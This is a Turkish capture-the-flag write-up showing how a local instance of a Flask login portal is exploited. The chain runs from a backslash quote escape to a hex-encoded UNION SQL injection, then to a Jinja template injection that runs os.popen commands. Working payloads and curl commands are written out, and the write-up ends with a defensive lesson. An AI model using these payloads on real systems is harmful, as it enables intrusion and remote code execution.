UofTCTF 2026 — No Quotes Çözümü
Kısa özet: iki karakterlik tırnak yasağı, backslash ile kapanış tırnağını kaçırma, hex'li UNION enjeksiyonu ve /home'deki render_template_string SSTI'siyle RCE.
UofTCTF 2026 — No Quotes
"Go Go Squid!" temalı bir giriş portalı. Kaynak verildiği için beyaz kutu çözdüm: ' ve " yasak, ancak SQL sorgusu f-string ile kuruluyor ve /home doğrudan render_template_string çağırıyor. İki zayıflık üst üste binince WAF'a hiç tırnak göndermeden RCE'ye çıkılıyor.
Kapsam: yalnızca yerel olarak ayağa kaldırdığım örnek. Hiçbir dış sisteme dokunulmadı.
1. Kaynak incelemesi
Giriş sorgusu, kullanıcı girdisi doğrudan string'e gömülerek kuruluyor:
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)Girdiyi süzen tek şey iki karakter:
def waf(value: str) -> bool:
blacklist = ["'", '"']
return any(char in value for char in blacklist)Oturum açınca /home şunu yapıyor:
return render_template_string(open("templates/home.html").read() % session["user"])session["user"], sorgunun döndürdüğü username sütunu. home.html içinde %s var; yani veritabanından gelen dize önce % biçimlendirmesiyle şablona yazılıyor, sonra Jinja kaynağı olarak derleniyor. Kontrol edilebilir bir username üretebilirsem SSTI → RCE.
Zincir: WAF → backslash ile kaçış → hex'li UNION → SSTI → /readflag.
2. Ortamı kurma
Arşivde Docker var; bende daemon yok, bu yüzden aynı yığını native kurdum (MariaDB + uygulama değiştirilmeden).
python3 -m venv /tmp/noq-venv
/tmp/noq-venv/bin/pip install flask==3.0.3 pymysql==1.1.1
# MariaDB kurulu, ctf/ctf kullanıcısı ve ctf veritabanı hazır
cd src/src && /tmp/noq-venv/bin/python app.py # :5000 doluysaPort 5000'i AirPlay tuttuğu için uygulamayı kodunu değiştirmeden 5001'de açtım:
/tmp/noq-venv/bin/python -c "import app; app.ensure_db(); app.app.run(host='127.0.0.1', port=5001, debug=False)"Container'da flag'e yalnızca root erişir ve
/readflagsetuid'dir (readflag.c:setuid(0); system("cat /root/flag.txt")). Yerel koşuda root ayrıcalığı yok; aynı okumayı/tmp/readflagile taklit ettim. Arşiv bayrağı Dockerfile'da sabit:uoftctf{fake_flag}.
3. WAF'ı doğrulama
curl -s -X POST http://127.0.0.1:5001/login \
--data-urlencode "username=admin'" --data-urlencode "password=x" | grep -o "No quotes allowed!"
# No quotes allowed!Tırnak yasak. Klasik ' OR 1=1-- - ölü. Ama girdi zaten tırnak içine konuyor ve MySQL/MariaDB backslash'i kaçış olarak yorumluyor: \, kapanış tırnağını kaçırarak ayrıştırmayı kaydırır.
String'i doğrudan pymysql ile denedim. username alanı \, password alanı enjeksiyon:
q = "SELECT id, username FROM users WHERE username = ('\\') AND password = (') UNION SELECT 1,CONVERT(0x<hex> USING utf8mb4)#')"Q: ... WHERE username = ('\') AND password = (') UNION SELECT 1,CONVERT(0x7b7b20.. USING utf8mb4)#')
ROW: (1, "{{ cycler.__init__.__globals__.os.popen('/tmp/readflag').read() }}")İşleyiş: \' kapanış tırnağını kaçırır → username dizesi uzar ve password alanı sorgu dışına taşar; ) enjeksiyon noktasını açar, # kalanı yorumlar. Dönen ikinci sütun bizim dize.
Yasak karakter yok: payload string'i 0x... hex literal olarak, CONVERT(... USING utf8mb4) ile metne çevrilerek taşınıyor. İstekte tek bir tırnak geçmiyor.
4. Uçtan uca exploit
B=http://127.0.0.1:5001
PAYLOAD="{{ cycler.__init__.__globals__.os.popen('id; /tmp/readflag').read() }}"
HEX=$(printf '%s' "$PAYLOAD" | xxd -p | tr -d '\n')
INJ_PW=") UNION SELECT 1,CONVERT(0x$HEX USING utf8mb4)#"
curl -s -c /tmp/cj -X POST $B/login \
--data-urlencode 'username=\' --data-urlencode "password=$INJ_PW" -o /dev/null -w "login=%{http_code}\n"
# login=302302 → oturum açıldı ve session["user"] artık Jinja payload'ı. /home render edilince şablon çalışıyor:
curl -s -b /tmp/cj $B/home | grep -oE "uid=[^<]*|uoftctf\{[^}]*\}"uid=501(ibrahim) gid=20(staff) groups=20(staff),101(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),...
uoftctf{fake_flag}os.popen ile komut çalıştı (RCE), /readflag bayrağı döndürdü.
5. Bayrak ve ders
Container'da son adım /readflag:
uoftctf{fake_flag}Arşiv bayrağı Dockerfile'da sabittir; gerçek yarışmada her örnek için farklı üretilir. Burada kanıtlanan şey zincirin kendisi.
Ders: iki karakterlik bir kara liste girdi sanitizasyonu değildir. Tırnak yasağı backslash ile atlanıyor; veritabanından dönen değerin şablona % ile yazılıp render_template_string'e verilmesi ise tek başına RCE demek. Girdiyi parametreli sorgu ile taşı, kullanıcı verisini asla şablon kaynağı yapma.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver